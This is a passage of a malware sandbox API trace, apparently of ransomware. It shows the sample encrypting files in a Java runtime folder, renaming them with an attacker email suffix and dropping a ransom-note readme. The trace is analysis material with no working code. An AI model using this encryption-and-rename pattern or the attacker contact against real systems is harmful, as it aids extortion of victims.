	[0084.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0084.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04018
	[0084.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781698
	[0084.965] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0084.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0084.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x480d7f0
	[0084.967] ReadFile (in: hFile=0x1330, lpBuffer=0x4887048, nNumberOfBytesToRead=0x2e, lpNumberOfBytesRead=0x18abf718, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesRead=0x18abf718*=0x2e, lpOverlapped=0x0) returned 1
	[0084.968] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.968] WriteFile (in: hFile=0x1330, lpBuffer=0x480d7f0*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x18abf714, lpOverlapped=0x0 | out: lpBuffer=0x480d7f0*, lpNumberOfBytesWritten=0x18abf714*=0x2e, lpOverlapped=0x0) returned 1
	[0084.969] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0084.969] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0084.969] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0084.969] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x480d7f0) returned 1
	[0084.969] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0084.969] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.969] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0084.969] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d780b0
	[0084.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0084.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d77db0
	[0084.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781530
	[0084.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0084.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0084.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0084.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x105) returned 0x500cbe8
	[0084.970] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.970] WriteFile (in: hFile=0x1330, lpBuffer=0x500cbe8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x18abf77c, lpOverlapped=0x0 | out: lpBuffer=0x500cbe8*, lpNumberOfBytesWritten=0x18abf77c*=0x105, lpOverlapped=0x0) returned 1
	[0084.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500cbe8) returned 1
	[0084.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77db0) returned 1
	[0084.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0084.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780b0) returned 1
	[0084.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0084.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0084.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815d0) returned 1
	[0084.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0084.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d5d358
	[0084.972] wcscpy (in: _Dest=0x2d5d358, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt"
	[0084.972] wcscat (in: _Dest=0x2d5d358, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.972] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x18abf734, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2dc20
	[0084.972] NtSetInformationFile (FileHandle=0x1330, IoStatusBlock=0x18abf72c, FileInformation=0x4f2dc20, Length=0xb8, FileInformationClass=0xa) returned 0x0
	[0084.973] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2dc20) returned 1
	[0084.973] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481b500) returned 1
	[0084.973] NtQueryInformationFile (in: FileHandle=0x1330, IoStatusBlock=0x18abf740, FileInformation=0x18abf718, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x18abf740, FileInformation=0x18abf718) returned 0x0
	[0084.973] NtSetInformationFile (FileHandle=0x1330, IoStatusBlock=0x18abf740, FileInformation=0x18abf718, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.975] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d358) returned 1
	[0084.975] FlushFileBuffers (hFile=0x1330) returned 1
	[0084.977] CloseHandle (hObject=0x1330) returned 1
	[0084.979] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e042e8
	[0084.979] wcscpy (in: _Dest=0x2e042e8, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0084.979] wcscat (in: _Dest=0x2e042e8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\C3F7E-Readme.txt") returned="C:\\Program Files\\Java\\jre1.8.0_144\\C3F7E-Readme.txt"
	[0084.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\C3F7E-Readme.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\c3f7e-readme.txt")) returned 0xffffffff
	[0084.979] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\C3F7E-Readme.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1330
	[0084.980] WriteFile (in: hFile=0x1330, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x18abf73c, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x18abf73c*=0x6f6, lpOverlapped=0x0) returned 1
	[0084.981] CloseHandle (hObject=0x1330) returned 1
	[0084.981] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0084.981] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47340f0) returned 1

Thread:
	id = 657
	os_tid = 0x1970

	[0078.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20
	[0083.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release", dwFileAttributes=0x20) returned 1
	[0085.071] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16ec
	[0085.071] GetFileSizeEx (in: hFile=0x16ec, lpFileSize=0x18b3fd0c | out: lpFileSize=0x18b3fd0c*=528) returned 1
	[0085.071] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x20c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.071] ReadFile (in: hFile=0x16ec, lpBuffer=0x18b3fc90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18b3fc8c, lpOverlapped=0x0 | out: lpBuffer=0x18b3fc90*, lpNumberOfBytesRead=0x18b3fc8c*=0x4, lpOverlapped=0x0) returned 1
	[0085.072] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.072] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0085.072] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815a8
	[0085.072] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0085.072] NtQuerySystemTime (in: CurrentTime=0x18b3fc6c | out: CurrentTime=0x18b3fc6c*=132251868118119238) returned 0x0
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xaa43afd
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x5fbbcf0e
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xf0dd544b
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x85b7dd42
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x92896c5f
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x773bb65b
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x25b56c33
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xa9f5f0cf
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xff6bebcb
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x5eb17a1c
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xfbe5b4ff
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x3daa881b
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x981e7981
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xfe0ccbff
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xe52e2c07
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xdf31904f
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x68818141
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x3103a510
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xb42cb565
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xed90c618
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x1cb6e3dd
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x4a630347
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xad437489
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x35137ae6
	[0085.072] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xe87ba67f
	[0085.073] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xc50bf16
	[0085.073] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x350eec86
	[0085.073] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x72505f6d
	[0085.073] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x7dd34431
	[0085.073] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xc184d748
	[0085.073] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0x71b76458
	[0085.073] RtlRandom (in: Seed=0x18b3fc78 | out: Seed=0x18b3fc78) returned 0xc74789a6
	[0085.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0085.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0085.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb1e0
	[0085.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0085.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781698
	[0085.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0085.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0085.083] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0085.085] ReadFile (in: hFile=0x16ec, lpBuffer=0x4698050, nNumberOfBytesToRead=0x210, lpNumberOfBytesRead=0x18b3fc68, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesRead=0x18b3fc68*=0x210, lpOverlapped=0x0) returned 1
	[0085.085] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.085] WriteFile (in: hFile=0x16ec, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x18b3fc64, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x18b3fc64*=0x210, lpOverlapped=0x0) returned 1
	[0085.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0085.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0085.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0085.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0085.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0085.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x4781670
	[0085.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0085.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x4781418
	[0085.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781698
	[0085.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0085.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0085.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xff) returned 0x481d2b8
	[0085.087] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.087] WriteFile (in: hFile=0x16ec, lpBuffer=0x481d2b8*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x18b3fccc, lpOverlapped=0x0 | out: lpBuffer=0x481d2b8*, lpNumberOfBytesWritten=0x18b3fccc*=0xff, lpOverlapped=0x0) returned 1
	[0085.089] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d2b8) returned 1
	[0085.089] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0085.089] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0085.089] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781670) returned 1
	[0085.089] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0085.089] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
	[0085.089] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0085.089] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0085.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4987778
	[0085.089] wcscpy (in: _Dest=0x4987778, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\release" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned="C:\\Program Files\\Java\\jre1.8.0_144\\release"
	[0085.089] wcscat (in: _Dest=0x4987778, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\release.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Java\\jre1.8.0_144\\release.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.089] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Java\\jre1.8.0_144\\release.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x18b3fc84, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Java\\jre1.8.0_144\\release.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2dc20
	[0085.090] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x18b3fc7c, FileInformation=0x4f2dc20, Length=0xb2, FileInformationClass=0xa) returned 0x0
	[0085.090] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2dc20) returned 1
	[0085.090] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5dfb8) returned 1
	[0085.090] NtQueryInformationFile (in: FileHandle=0x16ec, IoStatusBlock=0x18b3fc90, FileInformation=0x18b3fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x18b3fc90, FileInformation=0x18b3fc68) returned 0x0
	[0085.090] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x18b3fc90, FileInformation=0x18b3fc68, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4987778) returned 1
	[0085.091] FlushFileBuffers (hFile=0x16ec) returned 1
	[0085.093] CloseHandle (hObject=0x16ec) returned 1
	[0085.095] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e042e8
	[0085.095] wcscpy (in: _Dest=0x2e042e8, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0085.095] wcscat (in: _Dest=0x2e042e8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\C3F7E-Readme.txt") returned="C:\\Program Files\\Java\\jre1.8.0_144\\C3F7E-Readme.txt"
	[0085.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\C3F7E-Readme.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\c3f7e-readme.txt")) returned 0x20
	[0085.095] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.095] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf008) returned 1

Thread:
	id = 658
	os_tid = 0x1974

	[0078.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20
	[0082.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", dwFileAttributes=0x20) returned 1
	[0084.979] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1330
	[0084.982] GetFileSizeEx (in: hFile=0x1330, lpFileSize=0x18bbfb10 | out: lpFileSize=0x18bbfb10*=63933) returned 1
	[0084.982] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0xf9b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.982] ReadFile (in: hFile=0x1330, lpBuffer=0x18bbfa94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18bbfa90, lpOverlapped=0x0 | out: lpBuffer=0x18bbfa94*, lpNumberOfBytesRead=0x18bbfa90*=0x4, lpOverlapped=0x0) returned 1
	[0084.984] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0084.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0084.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0084.984] NtQuerySystemTime (in: CurrentTime=0x18bbfa70 | out: CurrentTime=0x18bbfa70*=132251868117181731) returned 0x0
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xa9cde654
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xc8629688
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xb8f366b8
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xdcf41fe4
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xfb3b1a64
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x6c396255
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x5092e6fe
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x25dd77b4
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x5ebb90ee
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x95111abe
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xab04d3b9
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x3075efd1
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x66630693
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xb07cea0f
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x2a9d61f9
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xab57613b
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xd7fac582
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x6a7f38c8
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xa043072e
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x49793659
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x140a9e40
	[0084.984] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xf30d336b
	[0084.985] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x286416b9
	[0084.985] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x7e84e998
	[0084.985] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xd971714b
	[0084.985] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xf59b468a
	[0084.985] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xb02ede01
	[0084.985] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x50dcc2e6
	[0084.985] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x1feec1c7
	[0084.985] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0xff4e7150
	[0084.985] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x4bde0718
	[0084.985] RtlRandom (in: Seed=0x18bbfa7c | out: Seed=0x18bbfa7c) returned 0x42485dc0
	[0084.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0084.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0084.993] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0084.993] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.993] ReadFile (in: hFile=0x1330, lpBuffer=0x4887048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x18bbfa50, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesRead=0x18bbfa50*=0xc800, lpOverlapped=0x0) returned 1
